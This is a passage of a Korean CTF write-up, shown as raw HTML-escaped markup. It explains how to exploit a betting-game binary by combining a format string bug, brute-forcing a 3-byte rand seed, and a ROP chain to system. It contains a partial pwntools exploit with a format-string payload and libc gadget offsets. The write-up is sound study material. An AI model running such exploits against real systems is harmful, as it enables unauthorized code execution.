&lt;div style=&quot;margin: 0; padding: 0; line-height: 130%; color: #c0c0c0;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ffecbb;&quot;&gt;printf&lt;/span&gt;(&lt;span style=&quot;color: #ff8000;&quot;&gt;&quot;Round:&amp;nbsp;%d\n&quot;&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #00ffff;&quot;&gt;rounds&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ffecbb;&quot;&gt;printf&lt;/span&gt;(&lt;span style=&quot;color: #ff8000;&quot;&gt;&quot;Your&amp;nbsp;money:&amp;nbsp;%lu&amp;nbsp;ZWD\n&quot;&lt;/span&gt;,&amp;nbsp;*&lt;span style=&quot;color: #00ffff;&quot;&gt;player&lt;/span&gt;-&amp;gt;money);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ffecbb;&quot;&gt;printf&lt;/span&gt;(&lt;span style=&quot;color: #ff8000;&quot;&gt;&quot;Your&amp;nbsp;bet&amp;nbsp;(=&amp;nbsp;0&amp;nbsp;to&amp;nbsp;exit):&amp;nbsp;&quot;&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ffecbb;&quot;&gt;read_long&lt;/span&gt;(&amp;amp;&lt;span style=&quot;color: #00ffff;&quot;&gt;bet&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ababab;&quot;&gt;if&lt;/span&gt;&amp;nbsp;(&amp;nbsp;!&lt;span style=&quot;color: #00ffff;&quot;&gt;bet&lt;/span&gt;&amp;nbsp;)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ababab;&quot;&gt;break&lt;/span&gt;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ffecbb;&quot;&gt;printf&lt;/span&gt;(&lt;span style=&quot;color: #ff8000;&quot;&gt;&quot;Your&amp;nbsp;choice:&amp;nbsp;&quot;&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #00ffff;&quot;&gt;choice&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #ffecbb;&quot;&gt;read_int&lt;/span&gt;();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #00ffff;&quot;&gt;r&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #ffecbb;&quot;&gt;rand&lt;/span&gt;();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ffecbb;&quot;&gt;printf&lt;/span&gt;(&lt;span style=&quot;color: #ff8000;&quot;&gt;&quot;Lucky&amp;nbsp;number:&amp;nbsp;%u\n&quot;&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #00ffff;&quot;&gt;r&lt;/span&gt;);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ababab;&quot;&gt;if&lt;/span&gt;&amp;nbsp;(&amp;nbsp;&lt;span style=&quot;color: #00ffff;&quot;&gt;choice&lt;/span&gt;&amp;nbsp;==&amp;nbsp;&lt;span style=&quot;color: #00ffff;&quot;&gt;r&lt;/span&gt;&amp;nbsp;)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;*&lt;span style=&quot;color: #00ffff;&quot;&gt;player&lt;/span&gt;-&amp;gt;money&amp;nbsp;+=&amp;nbsp;&lt;span style=&quot;color: #00ffff;&quot;&gt;bet&lt;/span&gt;&amp;nbsp;+&amp;nbsp;&lt;span style=&quot;color: #ffecbb;&quot;&gt;rand&lt;/span&gt;();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ababab;&quot;&gt;else&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;*&lt;span style=&quot;color: #00ffff;&quot;&gt;player&lt;/span&gt;-&amp;gt;money&amp;nbsp;-=&amp;nbsp;&lt;span style=&quot;color: #00ffff;&quot;&gt;bet&lt;/span&gt;&amp;nbsp;+&amp;nbsp;&lt;span style=&quot;color: #ffecbb;&quot;&gt;rand&lt;/span&gt;();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;++&lt;span style=&quot;color: #00ffff;&quot;&gt;rounds&lt;/span&gt;;&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;play&lt;/code&gt; 함수의 반복문에서 &lt;code&gt;player-&amp;gt;money&lt;/code&gt; 에 값을 쓰는 부분이 존재한다. FSB로 &lt;code&gt;player-&amp;gt;money&lt;/code&gt; 를 &lt;code&gt;buf&lt;/code&gt; 의 주소로 바꾸고 나면 &lt;code&gt;buf&lt;/code&gt; 에 들어있는, &lt;code&gt;calloc&lt;/code&gt; 으로 할당받은 힙 영역의 주소를 다른 값으로 바꿀 수 있다. 만약 이 값을 적절한 주소값으로 변경했다면, &lt;code&gt;game&lt;/code&gt; 함수의 &lt;code&gt;buf&lt;/code&gt; 에 입력받는 코드를 통해 해당 주소에 0x400 크기의 값을 자유롭게 쓸 수 있게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;player-&amp;gt;money&lt;/code&gt; 값이 변경될 때 &lt;code&gt;rand&lt;/code&gt; 를 사용한 랜덤값이 관여한다. 이 값을 제어할 수 있는 방법을 찾아보기 위해 seed를 설정하는 곳을 살펴보니...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;ida-highlighter&quot; style=&quot;width: 100%; position: relative !important; overflow: auto; font-size: 14px; font-family: Consolas,'Liberation Mono',Menlo,Courier,monospace !important;&quot;&gt;
&lt;table class=&quot;ida-highlighter&quot; style=&quot;width: 100%; margin: 0; padding: 0; border: none; border-radius: 4px; background-color: #2d2d2d;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 6px; text-align: left;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; line-height: 130%; color: #c0c0c0;&quot;&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #00ffff;&quot;&gt;fd&lt;/span&gt;&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #ffecbb;&quot;&gt;open&lt;/span&gt;(&lt;span style=&quot;color: #ff8000;&quot;&gt;&quot;/dev/urandom&quot;&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #ababab;&quot;&gt;0&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ababab;&quot;&gt;if&lt;/span&gt;&amp;nbsp;(&amp;nbsp;&lt;span style=&quot;color: #00ffff;&quot;&gt;fd&lt;/span&gt;&amp;nbsp;&amp;lt;&amp;nbsp;&lt;span style=&quot;color: #ababab;&quot;&gt;0&lt;/span&gt;&amp;nbsp;)&lt;br /&gt;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ffecbb;&quot;&gt;puts&lt;/span&gt;(&lt;span style=&quot;color: #ff8000;&quot;&gt;&quot;Error&quot;&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ffecbb;&quot;&gt;exit&lt;/span&gt;(&lt;span style=&quot;color: #ababab;&quot;&gt;0&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ffecbb;&quot;&gt;read&lt;/span&gt;(&lt;span style=&quot;color: #00ffff;&quot;&gt;fd&lt;/span&gt;,&amp;nbsp;&amp;amp;&lt;span style=&quot;color: #00ffff;&quot;&gt;buf&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #ababab;&quot;&gt;3uLL&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ffecbb;&quot;&gt;close&lt;/span&gt;(&lt;span style=&quot;color: #00ffff;&quot;&gt;fd&lt;/span&gt;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #ffecbb;&quot;&gt;srand&lt;/span&gt;(&lt;span style=&quot;color: #00ffff;&quot;&gt;buf&lt;/span&gt;);&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;임의의 3바이트 값이 들어간다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3바이트로 표현할 수 있는 수는 0부터 16777215까지이고, 이는 간단한 수준의 브루트포스로 해결할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;홀수 번째의 &lt;code&gt;rand&lt;/code&gt; 실행 결과값을 각 seed별로 저장하고, 프로그램에서 lucky number로 출력해 주는 값을 보면서 seed를 추측할 수 있다. 해당 값이 하나로 확정이 되면 &lt;code&gt;rand&lt;/code&gt; 의 결과값을 예측하는 게 가능해지므로 &lt;code&gt;buf&lt;/code&gt; 에 원하는 주소값을 쓸 수 있게 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;어떤 값을 쓸 것인지가 중요한데, &lt;code&gt;_rtld_global&lt;/code&gt; 을 덮어서 &lt;code&gt;_dl_fini&lt;/code&gt; 루틴을 조작하는 시나리오와 스택에서 ROP를 하는 시나리오를 생각해 봤다. 전자는 아직 해본 경험이 없고 입력 크기 제한 때문에 조금 더 이지한 후자로 코드를 작성했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;앞서 FSB에서 %p 로 알아낸 stack &amp;amp; libc 주소들을 바탕으로 오프셋을 잘 계산해서 써 주었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;code-colorize&quot; style=&quot;width: 100%; position: relative !important; overflow: auto; font-size: 14px; font-family: Consolas, 'Liberation Mono', Menlo, Courier, monospace !important;&quot;&gt;
&lt;table class=&quot;code-colorize&quot; style=&quot;width: 100%; margin: 0; padding: 0; border: none; border-radius: 4px; background-color: #1e1e1e;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 27px; padding: 6px; padding-left: 14px; padding-right: 14px;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; word-break: normal; text-align: right; line-height: 130%; color: #858585;&quot;&gt;1&lt;br /&gt;2&lt;br /&gt;3&lt;br /&gt;4&lt;br /&gt;5&lt;br /&gt;6&lt;br /&gt;7&lt;br /&gt;8&lt;br /&gt;9&lt;br /&gt;10&lt;br /&gt;11&lt;br /&gt;12&lt;br /&gt;13&lt;br /&gt;14&lt;br /&gt;15&lt;br /&gt;16&lt;br /&gt;17&lt;br /&gt;18&lt;br /&gt;19&lt;br /&gt;20&lt;br /&gt;21&lt;br /&gt;22&lt;br /&gt;23&lt;br /&gt;24&lt;br /&gt;25&lt;br /&gt;26&lt;br /&gt;27&lt;br /&gt;28&lt;br /&gt;29&lt;br /&gt;30&lt;br /&gt;31&lt;br /&gt;32&lt;br /&gt;33&lt;br /&gt;34&lt;br /&gt;35&lt;br /&gt;36&lt;br /&gt;37&lt;br /&gt;38&lt;br /&gt;39&lt;br /&gt;40&lt;br /&gt;41&lt;br /&gt;42&lt;br /&gt;43&lt;br /&gt;44&lt;br /&gt;45&lt;br /&gt;46&lt;br /&gt;47&lt;br /&gt;48&lt;br /&gt;49&lt;br /&gt;50&lt;br /&gt;51&lt;br /&gt;52&lt;br /&gt;53&lt;br /&gt;54&lt;br /&gt;55&lt;br /&gt;56&lt;br /&gt;57&lt;br /&gt;58&lt;br /&gt;59&lt;br /&gt;60&lt;br /&gt;61&lt;br /&gt;62&lt;br /&gt;63&lt;br /&gt;64&lt;br /&gt;65&lt;br /&gt;66&lt;br /&gt;67&lt;br /&gt;68&lt;br /&gt;69&lt;br /&gt;70&lt;br /&gt;71&lt;br /&gt;72&lt;br /&gt;73&lt;br /&gt;74&lt;br /&gt;75&lt;br /&gt;76&lt;br /&gt;77&lt;br /&gt;78&lt;br /&gt;79&lt;br /&gt;80&lt;br /&gt;81&lt;br /&gt;82&lt;br /&gt;83&lt;br /&gt;84&lt;br /&gt;85&lt;br /&gt;86&lt;br /&gt;87&lt;br /&gt;88&lt;br /&gt;89&lt;br /&gt;90&lt;br /&gt;91&lt;br /&gt;92&lt;br /&gt;93&lt;br /&gt;94&lt;br /&gt;95&lt;br /&gt;96&lt;br /&gt;97&lt;br /&gt;98&lt;br /&gt;99&lt;br /&gt;100&lt;br /&gt;101&lt;br /&gt;102&lt;br /&gt;103&lt;br /&gt;104&lt;/div&gt;
&lt;/td&gt;
&lt;td style=&quot;padding: 6px; padding-left: 6px; text-align: left;&quot;&gt;
&lt;div style=&quot;margin: 0; padding: 0; line-height: 130%; color: #d4d4d4;&quot;&gt;&lt;span style=&quot;color: #c586c0;&quot;&gt;from&lt;/span&gt;&amp;nbsp;pwn&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;import&lt;/span&gt;&amp;nbsp;*&lt;br /&gt;&lt;span style=&quot;color: #c586c0;&quot;&gt;import&lt;/span&gt;&amp;nbsp;argparse&lt;br /&gt;&lt;span style=&quot;color: #c586c0;&quot;&gt;import&lt;/span&gt;&amp;nbsp;ctypes&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;as&lt;/span&gt;&amp;nbsp;c&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;def&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;log_info&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;string&lt;/span&gt;)&amp;nbsp;:&lt;br /&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;sys.stderr.write(&lt;span style=&quot;color: #569cd6;&quot;&gt;u&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;'&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\u001b&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;[37;1m[&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\u001b&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;[32m+&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\u001b&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;[37;1m]&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\u001b&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;[0m&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;{s}&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;'&lt;/span&gt;.format(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;s&lt;/span&gt;=string))&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;def&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;rand&lt;/span&gt;(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;seed&lt;/span&gt;:&lt;span style=&quot;color: #4ec9b0;&quot;&gt;int&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #9cdcfe;&quot;&gt;count&lt;/span&gt;:&lt;span style=&quot;color: #4ec9b0;&quot;&gt;int&lt;/span&gt;)&amp;nbsp;:&lt;br /&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;_srand(seed)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;for&lt;/span&gt;&amp;nbsp;i&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;in&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;range&lt;/span&gt;(count-&lt;span style=&quot;color: #b5cea8;&quot;&gt;1&lt;/span&gt;)&amp;nbsp;:&lt;br /&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;_rand()&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;return&lt;/span&gt;&amp;nbsp;_rand()&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;def&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;exploit&lt;/span&gt;()&amp;nbsp;:&lt;br /&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;cds,&amp;nbsp;new_cds&amp;nbsp;=&amp;nbsp;[i&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;for&lt;/span&gt;&amp;nbsp;i&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;in&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;range&lt;/span&gt;(&lt;span style=&quot;color: #569cd6;&quot;&gt;0x&lt;/span&gt;&lt;span style=&quot;color: #b5cea8;&quot;&gt;100&lt;/span&gt;**&lt;span style=&quot;color: #b5cea8;&quot;&gt;3&lt;/span&gt;)],&amp;nbsp;[]&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;p.writelineafter(&lt;span style=&quot;color: #569cd6;&quot;&gt;b&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;'How&amp;nbsp;much&amp;nbsp;money&amp;nbsp;you&amp;nbsp;want?&amp;nbsp;'&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;b&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;'1'&lt;/span&gt;)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;p.writelineafter(&lt;span style=&quot;color: #569cd6;&quot;&gt;b&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;'Player&amp;nbsp;name:&amp;nbsp;'&lt;/span&gt;,&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;b&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;'%88c%13$hhn%26$p&amp;nbsp;%29$p'&lt;/span&gt;)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;p.readuntil(&lt;span style=&quot;color: #569cd6;&quot;&gt;b&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;'Danh&amp;nbsp;de&amp;nbsp;ra&amp;nbsp;de&amp;nbsp;ma`&amp;nbsp;o?&amp;nbsp;=]]&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;*&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;**************************************************&lt;/span&gt;&lt;span style=&quot;color: #d7ba7d;&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;'&lt;/span&gt;)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;r&amp;nbsp;=&amp;nbsp;p.readline(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;keepends&lt;/span&gt;=&lt;span style=&quot;color: #569cd6;&quot;&gt;False&lt;/span&gt;)[&lt;span style=&quot;color: #b5cea8;&quot;&gt;88&lt;/span&gt;:].split(&lt;span style=&quot;color: #569cd6;&quot;&gt;b&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;'&amp;nbsp;'&lt;/span&gt;)[:&lt;span style=&quot;color: #b5cea8;&quot;&gt;2&lt;/span&gt;]&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;stack_ret&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;int&lt;/span&gt;(r[&lt;span style=&quot;color: #b5cea8;&quot;&gt;0&lt;/span&gt;],&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;16&lt;/span&gt;)&amp;nbsp;-&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;8&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;libc_base&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;int&lt;/span&gt;(r[&lt;span style=&quot;color: #b5cea8;&quot;&gt;1&lt;/span&gt;],&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;16&lt;/span&gt;)&amp;nbsp;-&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;0x&lt;/span&gt;&lt;span style=&quot;color: #b5cea8;&quot;&gt;20840&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;libc_system&amp;nbsp;=&amp;nbsp;libc_base&amp;nbsp;+&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;0x&lt;/span&gt;&lt;span style=&quot;color: #b5cea8;&quot;&gt;453A0&lt;/span&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;pop_rdi_ret&amp;nbsp;=&amp;nbsp;libc_base&amp;nbsp;+&amp;nbsp;&lt;span style=&quot;color: #569cd6;&quot;&gt;0x&lt;/span&gt;&lt;span style=&quot;color: #b5cea8;&quot;&gt;21112&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;log_info(&lt;span style=&quot;color: #ce9178;&quot;&gt;'stack&amp;nbsp;ret:&amp;nbsp;'&lt;/span&gt;+&lt;span style=&quot;color: #dcdcaa;&quot;&gt;hex&lt;/span&gt;(stack_ret))&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;log_info(&lt;span style=&quot;color: #ce9178;&quot;&gt;'libc&amp;nbsp;base&amp;nbsp;address:&amp;nbsp;'&lt;/span&gt;+&lt;span style=&quot;color: #dcdcaa;&quot;&gt;hex&lt;/span&gt;(libc_base))&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;log_info(&lt;span style=&quot;color: #ce9178;&quot;&gt;'system&amp;nbsp;=&amp;nbsp;'&lt;/span&gt;+&lt;span style=&quot;color: #dcdcaa;&quot;&gt;hex&lt;/span&gt;(libc_system))&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;log_info(&lt;span style=&quot;color: #ce9178;&quot;&gt;'gadget&amp;nbsp;(pop&amp;nbsp;rdi&amp;nbsp;;&amp;nbsp;ret):&amp;nbsp;'&lt;/span&gt;+&lt;span style=&quot;color: #dcdcaa;&quot;&gt;hex&lt;/span&gt;(pop_rdi_ret))&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;rounds&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;1&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style=&quot;color: #c586c0;&quot;&gt;while&lt;/span&gt;&amp;nbsp;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;len&lt;/span&gt;(cds)&amp;nbsp;!=&amp;nbsp;&lt;span style=&quot;color: #b5cea8;&quot;&gt;1&lt;/span&gt;&amp;nbsp;:&lt;br /&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;log_info(&lt;span style=&quot;color: #ce9178;&quot;&gt;'Round:&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;{}&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;'&lt;/span&gt;.format(rounds))&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;p.readuntil(&lt;span style=&quot;color: #569cd6;&quot;&gt;b&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;'Your&amp;nbsp;bet&amp;nbsp;(=&amp;nbsp;0&amp;nbsp;to&amp;nbsp;exit):&amp;nbsp;'&lt;/span&gt;)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;p.writeline(&lt;span style=&quot;color: #569cd6;&quot;&gt;b&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;'1'&lt;/span&gt;)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;p.readuntil(&lt;span style=&quot;color: #569cd6;&quot;&gt;b&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;'Your&amp;nbsp;choice:&amp;nbsp;'&lt;/span&gt;)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;p.writeline(&lt;span style=&quot;color: #569cd6;&quot;&gt;b&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;'0'&lt;/span&gt;)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;p.readuntil(&lt;span style=&quot;color: #569cd6;&quot;&gt;b&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;'Lucky&amp;nbsp;number:&amp;nbsp;'&lt;/span&gt;)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;r&amp;nbsp;=&amp;nbsp;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;int&lt;/span&gt;(p.readline(&lt;span style=&quot;color: #9cdcfe;&quot;&gt;keepends&lt;/span&gt;=&lt;span style=&quot;color: #569cd6;&quot;&gt;False&lt;/span&gt;))&lt;br /&gt;&lt;br 